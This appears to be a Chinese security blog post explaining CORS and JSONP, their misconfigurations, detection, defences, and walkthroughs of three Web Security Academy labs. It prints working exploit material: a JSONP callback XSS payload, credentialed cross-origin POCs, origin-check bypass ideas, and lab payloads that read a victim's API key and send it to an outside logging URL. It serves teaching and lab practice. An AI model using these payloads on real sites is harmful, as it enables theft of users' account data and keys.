现代 Web 应用一般前后端分离,数据呢是 REST API 获取,那自然而然就用 JS 去发送请求。由于浏览器实施同源策略,JS 向其他域发起请求其响应内容会被忽略,无法获取,这时必须跨域才能获取数据。

随便打开一个站点在 Console 执行 fetch('https://www.raingray.com/test.php') 或是下面代码。

var oReq = new XMLHttpRequest();
oReq.open("GET", "https://www.raingray.com/test.php");
oReq.send();
undefined

都将会发起以下请求并得到响应。

GET /test.php HTTP/1.1
Host: www.raingray.com
Connection: close
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36
Accept: */*
Origin: https://www.baidu.com
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://www.baidu.com/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9


HTTP/1.1 200 OK
Server: nginx
Date: Sat, 08 May 2021 08:21:42 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 10

浏览器端根据同源策略没有在 Response Header 检查到 Access-Control-Allow-Origin 值与当前 Origin 相匹配,直接发出错误提示,并不去获得响应内容。

Access to XMLHttpRequest at 'https://www.baidu.com/' from origin 'https://www.raingray.com' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.

发起跨域请求浏览器警告.png
发起跨域请求浏览器警告-network.png

为啥会出现呢?XMLHttpRequest 在发送请求时会自动带上 Origin Header,浏览器依据同源策略发现与请求目标不是同源,不读取响应内容(要注意实际请求会成功发送)。

常用跨域方法

CORS 跨域

比较正规的是 CORS 来跨域,它已经是个 Web 标准,在此之前还有 JSONP 可以另类实现跨域,暂时放到文尾介绍。

知道前面错误原因,服务端通过 Access-Control-Allow-Origin Header 设置允许哪个源获取数据——关键点在于值不能设置为 *,不然谁都可以获取数据不就自己主动打破同源策略保护么。具体设置方法可以在 WebServer 或具体脚本中设置,只要能返回 Access-Control-Allow-Origin Header 头就行。

以 PHP 示例,所有设置方法见参考链接中 Cross-Origin Resource Sharing (CORS) (web.dev)。

 <?php
    header("Access-Control-Allow-Origin: https://www.baidu.com");
    echo 'test data';

设置完成后再次访问就能得到数据。

跨域得到数据.png

那我们尝试用 JavaScript 设置个 Origin: https://www.baidu.com 头呢?是不是可以绕过。

fetch覆盖Origin头.png

实际上覆盖失败。

fetch覆盖Origin头-覆盖失败.png

跨域中有很多场景需要携带 Cookie 去访问,在前面的操作中默认没有带有 Cookie 进行请求。JS 请求时需要专门启用属性。

var oReq = new XMLHttpRequest();
oReq.open("GET", "https://www.raingray.com/test.php", true); // 添加 true
oReq.withCredentials = true;  // 携带 Cookie 访问
oReq.send();
undefined

Fetch

fetch('https://www.raingray.com/test.php', {
  credentials: 'include'  // 携带 Cookie 访问
})

Server 端也要加上 Access-Control-Allow-Credentials: true,如果不带,浏览器找不到响应头就不显示展示响应数据。

尝试 Server 不带 Access-Control-Allow-Credentials: true

Access to XMLHttpRequest at 'https://www.raingray.com/test.php' from origin 'https://www.baidu.com' has been blocked by CORS policy: The value of the 'Access-Control-Allow-Credentials' header in the response is '' which must be 'true' when the request's credentials mode is 'include'. The credentials mode of requests initiated by the XMLHttpRequest is controlled by the withCredentials attribute.

带上Cookie跨域请求.png

Server 添加上响应头,去访问。

 <?php
    header("Access-Control-Allow-Origin: https://www.baidu.com");
    header("Access-Control-Allow-Credentials: true");
    echo 'test data';

带上Cookie跨域请求正常.png

没有报错,但是没发现带有 Cookie,原因是 Cookie 中 Domain 没有 raingray.com 或 www.raingray.com 或者 Path 不在作用域范围内,所以浏览器不会带上其所有 Cookie。

Cookie Domain 属性作用域.png

Server 端在设置 Access-Control-Allow-Credentials: true 时要注意 Access-Control-Allow-Origin 值不能为 * 否则浏览器也不会获取响应数据。

 <?php
    #header("Access-Control-Allow-Origin: https://www.baidu.com");
    header("Access-Control-Allow-Origin: *");
    header("Access-Control-Allow-Credentials: true");
    echo 'test data';

Access-Control-Allow-Credentials设置错误.png

JSONP

在跨域原理介绍完成之前还要回顾下很老的 JSONP 这个操作。JSONP 全称是 JSON with Padding 主要原理是通过 script 标签获得响应内容去调用函数来实现。

这次我们在本地搭建 WebServer,首先在根目录创建 test.php。

<?php 
    header('Content-type: application/json; charset=utf-8');
    $data = '{"name":"bob"}';
    echo $_GET['callback'].'('.$data.')'; # 原封不动输出 callback 可能有 XSS

访问 https://127.0.0.1/test.php?callback=testa 这个接口返回 testa({"name":"bob"}),因为传啥就返回啥,其中传入的参数 testa 会被当作 padding 输出,得到 testa(),再把 JSON 数据{"name":"bob"}拼接,最终得到 testa({"name":"bob"})

为什么要返回一个很奇怪的数据呢?是需要前端 JS 去解析它。仔细观察返回的数据,它跟 JS 中函数定义方式一样?其中传入 {"name":"bob"} JSON 数据,在 JS 中这种数据会被当作对象,那么作为参数传入函数内部就可以直接调用此对象呀。

直接在前端编写如下代码

<script>
    function testa(data){  // 先定义好函数方便后面去调用,不然调用一个不存在的函数会报错。
        console.log(data.name);
    }
</script>
<script src="https://127.0.0.1/test.php?callback=testa"></script>

当打开这个页面时,整个客户端发起跨域的过程是用 script 标签 src 属性调用 test.php 接口。

  1. 打开页面 script 标签向 https://127.0.0.1/test.php?callback=testa 发起 HTTP GET 请求。
  2. 请求成功得到后端 test.php 响应内容 testa({"name":"bob"})
  3. 内容被 script 标签当作 JavaScript 代码执行,就相当于调用了先前定义的 testa 函数并传输 JSON 数据。
  4. 在 Console 日志中返回 name 对象的值 bob,完成跨域请求。

其实以上操作在 Jquery 中已经帮你做好了包装不需要手动去创建 DOM,直接调用就行。

$.ajax({
    url: "https://127.0.0.1/test.php", // 要请求的 API
    jsonp: "jsonpcallback",
    dataType: "jsonp",
    data: {
        callback: "returndata"
    }});

function returndata(data) {
    alert(data.name)
}

Jquery_Ajaxj自动生成script标签.png

光是成功完成跨域还不行,如果后端代码中没有添加 Content-type: application/json; charset=utf-8,浏览器会默认猜测 MIME 类型。本次测试中发现默认是text/html,浏览器只要解析 HTML 那么就会产生 HTML 注入用于 XSS 。

当访问 http://127.0.0.1/test.php?callback=<img%20src%3d%23%20onerror%3dalert%281%29> 会返回 <img src=# onerror=alert(1)>({"name":"bob"})

GET /test.php?callback=%3Cimg%20src%3d%23%20onerror%3dalert%281%29%3E HTTP/1.1
Host: 127.0.0.1
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


HTTP/1.1 200 OK
Server: nginx/1.15.11
Date: Mon, 24 May 2021 03:20:42 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.3.4
Content-Length: 44

<img src=# onerror=alert(1)>({"name":"bob"})

响应中发现 Content-Type: text/html; charset=UTF-8,意思是告诉浏览器你按照 HTML 来解析这个内容,那么 img 标签就会被解析。

以上介绍了古老 JSONP 和现在 CORS,除以上两种方法外,还有以下操作跨域:

  1. 通过代理跨域 :先向本域 Proxy 发送请求 -> Proxy 转发给其他服务器 -> 其他服务器处理完请求返回数据给 Proxy -> 返回给浏览器。
  2. 根据请求中的 Origin 动态生成对应 Access-Control-Allow-Origin 的值。

如何发现漏洞

市面上工具检测也是根据 Origin 输内容匹配内容响应头字符实现。

curl https://example.com -H "Origin: https://example.com" -I

利用条件

1.无法利用
浏览器请求会报错,Access-Control-Allow-Credentials 为 true,Access-Control-Allow-Origin 不能为通配符。

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

2.基本无法利用
无法浏览器请求无法携带 Cookie。

Access-Control-Allow-Origin: *

除非目标接口不需要认证,处于认证失效状态。另一个思路就是使用利用浏览器缓存获取数据。

fetch('http://host/v1/api', {
    method: 'GET',
    cache: 'force-cache'
}).then(response => response.text()).then(body => alert(body))

参考资料:SOP Bypass via browser-cacheSOP bypass using browser cacheBypassing SOP using the browser cache

3.可以利用
不管 Origin 输入什么,响应头 Access-Control-Allow-Origin 都会返回对应 URL,此时带着 Cookie 去请求接口数据。如果接口用 JWT 或自定义头进行认证,不是用 Cookie 做身份校验就没法子。第二种情况是 URL 中带有不确定因素,比如 Token 或签名等手段也无法进行攻击,这跟 CSRF 防护原理一致。

Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Credentials: true

通过重定向、iframe 触发 Orgin: null 来利用,见下面 Web Security Academy 靶场实例。

Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

绕过思路(待补充):

  1. Origin 校验部分字符串是否匹配,可以绕过。比如原本 Origin: test.com只要 Origin 包含 test.com 就行,可以伪造 test.com.raingray.com、gbbtest.com。
  2. 只允许 example.com 和 *.example.com跨域,尝试 evilexample.com 无效,试试带上子域名,sub.eviltarget.com。这种是正则匹配数据出现问题。
  3. https://www.corben.io/advanced-cors-techniques/,根据浏览器域名解析来绕过 Origin 限制子域名情景(*.example.com)
    反正不管啥子域名都能接收,那么让受害者访问 example.com!.eval.com,能够跳转到我们指定的域名就行(做 cname)。这个要看浏览器是否能不检查域名错误直接去访问,也就是这个!https://infosecwriteups.com/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397,这篇文章 Part 2 有实际案例,Safari 浏览器在 Origin 字段可以接受 ASCII 码,比如 test.com 在前面添加 ascii 可能绕过直接访问到服务端数据。其实到这里为什么不用思路 1 绕过呢?这种绕个圈太麻烦,虽然有意义。

利用思路:

  1. test.com 存在跨域漏洞,不过限制了只能子域名能访问,可以尝试在子域名 *.test.com 中挖掘 XSS 通过事件或标签直接加载恶意 JS 然后向 test.com 发起请求获取 test.com 数据,或者子域接管,只要这个数据是敏感的危害就很大。
  2. test.com 存在跨域漏洞,尝试制作恶意页面,用户打开后会自动携带 Cookie 向 API 发送请求得到数据。
  3. OpenRedirect+CORS 获取数据,这样就大大减少用户警觉。
  4. 遇到 JSONP 原封不动输出 callback 内容,可以尝试 XSS。或者创建 scirpt 标签来跨域请求获得数据(也是大家口中说的 JSONP 劫持),此时用户已经登录,访问一个恶意页面跟正常跨域请求一样并携带凭证去访问 API 得到用户数据。JSONP 只能发送 GET 请求,遇到 POST API 就焉了。

POC1,使用 XMLHttpRequest

function get_cors() { 
    var xhttp = new XMLHttpRequest(); 
    xhttp.onreadystatechange = function() {     
        if (this.readyState == 4 && this.status == 200) { 
            alert(this.responseText);  // 打开即弹出数据
        }   
    };
    xhttp.open("GET", "https://example.com", true);
    xhttp.withCredentials = true;
    xhttp.send(); 
}

function post_cors() { 
    var xhttp = new XMLHttpRequest();
    parms = 'POST Data'

    xhttp.onreadystatechange = function() {     
        if (this.readyState == 4 && this.status == 200) { 
            alert(this.responseText);  // 打开即弹出数据
        }   
    };
    xhttp.open("POST", "https://example.com", true);
    xhttp.withCredentials = true;
    xhttp.send(parms); 
}

POC2,使用 feftch

function get_cors(){
    var options = {
        method:"GET",
        credentials: 'include'
    }
    var init_fetch = fetch(url="https://example.com/api",options);
    init_fetch.then(response => {
        return response.text();
    })
}


function post_cors(){
    var options = {
        method:"POST",
        credentials: 'include',
        body: "test=data"
    }
    var init_fetch = fetch(url="https://example.com/api",options);
    init_fetch.then(response => {
        return response.text();
    })
}

问题

CORS 利用手法跟 CSRF 有啥区别。

防御

JSONP 防御手段:

  1. 返回响应头 Content-type: application/json 告诉浏览器是 JSON 数据,别按照 HTML 解析。
  2. callback 参数值进行 HTML 实体编码,避免尖括号解析为 HTML 标签。
  3. 对 callback 参数值做白名单处理,不在白名单内的值返回 error。

CORS 防御手段:

  1. 控制 Access-Control-Allow-Origin 头不为 *

靶场练习

Web Security Academy

Lab: CORS vulnerability with basic origin reflection

在你登录之后会发送请求API 获取账户信息。尝试添加 Origin 任意值,就会得到对应值,应该是程序根据此 Origin 内容进行匹配返回,这种情况在实际中蛮多。

GET /accountDetails HTTP/1.1
Host: ac1c1fae1f08eafe80749a2b00fd00bd.web-security-academy.net
Connection: close
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90", "Microsoft Edge";v="90"
DNT: 1
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Edg/90.0.818.62
Accept: */*
Origin: test.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://ac1c1fae1f08eafe80749a2b00fd00bd.web-security-academy.net/my-account
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: session=qztvJiGnZ84Bi7Z1807LKebdOFj6Eb9S


HTTP/1.1 200 OK
Access-Control-Allow-Origin: test.com
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-XSS-Protection: 0
Connection: close
Content-Length: 149

{
  "username": "wiener",
  "email": "",
  "apikey": "yhHnDbE1iCRRccU2j4mnmjHstWz0WPiK",
  "sessions": [
    "qztvJiGnZ84Bi7Z1807LKebdOFj6Eb9S"
  ]
}

在 Server 中填入 POC

<script>
    var data;
    var req = new XMLHttpRequest();
    req.onreadystatechange = function() {     
        if (this.readyState == 4 && this.status == 200) { 
            data = JSON.parse(this.responseText).apikey; // 获取 APIKey
            console.log(data)
        }
    };
    req.open('get','https://ac1c1fae1f08eafe80749a2b00fd00bd.web-security-academy.net/accountDetails',true);
    req.withCredentials = true;
    req.send();

    // 传输得到的数据
    req.open('post', 'https://ac1c1fae1f08eafe80749a2b00fd00bd.web-security-academy.net/submitSolution', true)
    req.withCredentials = true;
    req.send('answer=' + data);
</script>

访问此 html 页面既可在 Console 拿到 apikey,只不过必须按照靶场标准提交过程来完成实验,有点麻烦。

Lab: CORS vulnerability with trusted null origin

这次 Origin 不管输入啥域名都会返回 500,只有 null 是正常返回数据。

GET /accountDetails HTTP/1.1
Host: ac871f3f1f3c9ebb804a261f00b00030.web-security-academy.net
Connection: close
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90", "Microsoft Edge";v="90"
DNT: 1
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Edg/90.0.818.62
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Origin: null
Referer: https://ac871f3f1f3c9ebb804a261f00b00030.web-security-academy.net/my-account
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: session=k3AGgvssHGKAik96Ld59WGhwoye4usEG


HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-XSS-Protection: 0
Connection: close
Content-Length: 149

{
  "username": "wiener",
  "email": "",
  "apikey": "PO7emHlGQOt7RUyFTqDzpWFthNRld6az",
  "sessions": [
    "k3AGgvssHGKAik96Ld59WGhwoye4usEG"
  ]
}

POC

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://acc11f0d1e27ac8f80690ba0006300dc.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='https://ac441fca1e54ac8080910b7301c600ba.web-security-academy.net/log?key='+this.responseText;
};
</script>"></iframe>

打开 html 后会 Network 面板显示先请求 src 中内容

data:text/html,<script>%0Avar req = new XMLHttpRequest();%0Areq.onload = reqListener;%0Areq.open('get','https://ac871f3f1f3c9ebb804a261f00b00030.web-security-academy.net/accountDetails',true);%0Areq.withCredentials = true;%0Areq.send();%0A%0Afunction reqListener() {%0Alocation='malicious-website.com/log?key='+this.responseText;%0A};%0A</script>

接下来就是 JS 发送请求,和以前相比 Origin 值为 null,相当于用 data: 协议执行 HTML 中的 JavaScript。

我看有人不加 sandbox 属性 也可成功 <iframe src="data:text/html,<script>...</script>。经过实验发现确实可以不加,这之间的区别暂时没弄清。

除此之外通过重定向也会产生 Origin: null 的现象。下面通过本地搭建 127.0.0.1:80/index.php 和 127.0.0.1:8090/redirect.php两个站点来验证。

127.0.0.1:80/index.php

fetch('http://127.0.0.1:8090/redirect.php', {
    credentials: 'include'  // 携带 Cookie 访问
})

127.0.0.1:8090/redirect.php

<?php
    header("Access-Control-Allow-Origin: http://127.0.0.1:80");
    header("Access-Control-Allow-Credentials: true");
    header("Location: https://aca31fd61ecb3511806502b700d40080.web-security-academy.net/accountDetails", true, 307);
    // 301/302/307 重定向均为 null

当访问 127.0.0.1:80/index.php 后 Fetch 向 127.0.0.1:8090/redirect.php 发起 GET 请求

GET /redirect.php HTTP/1.1
Host: 127.0.0.1:8090
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90", "Microsoft Edge";v="90"
DNT: 1
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Edg/90.0.818.66
Accept: */*
Origin: http://127.0.0.1
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6


HTTP/1.1 307 Temporary Redirect
Server: nginx/1.15.11
Date: Tue, 25 May 2021 05:10:57 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/7.3.4
Access-Control-Allow-Origin: http://127.0.0.1
Access-Control-Allow-Credentials: true
Location: https://aca31fd61ecb3511806502b700d40080.web-security-academy.net/accountDetails

Server 进行 307 重定向到 API 接口 获取数据,此时 Origin 是 null。

GET /accountDetails HTTP/1.1
Host: aca31fd61ecb3511806502b700d40080.web-security-academy.net
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90", "Microsoft Edge";v="90"
DNT: 1
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Edg/90.0.818.66
Accept: */*
Origin: null
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: session=wHMLuBozwdsx16MdbRs6yYyd43SNg9ia


HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-XSS-Protection: 0
Connection: close
Content-Length: 149

{
  "username": "wiener",
  "email": "",
  "apikey": "qtPYfFbck2qwyT9p0sZX1U8ox3jvmu4V",
  "sessions": [
    "wHMLuBozwdsx16MdbRs6yYyd43SNg9ia"
  ]
}

既然支持 307 那么 Fetch 使用任意 HTTP 方法都可以支持重定向,不会改变重定向后的请求方法。

Lab: CORS vulnerability with trusted insecure protocols

Origin 只接受 xxx.web-security-academy.net 实验室的域名,恰好商品详情页 productId 参数存在反射 XSS 。

通过 XSS 发送请求获取数据

<script>
    window.location.href="https://stock.ac5e1f261e9edaaf80df2f82005000f5.web-security-academy.net/?productId=%3cscript>fetch('https://ac5e1f261e9edaaf80df2f82005000f5.web-security-academy.net/accountDetails', {credentials: 'include'}).then(function(response){response.text().then(function(text){document.location='https://ac721f0a1e24dadb80d32f2e014d004d.web-security-academy.net/log?key='%2btext;})})%3c/script>&storeId=1"
</script>

参考链接

标签: none

讨论讨论讨论!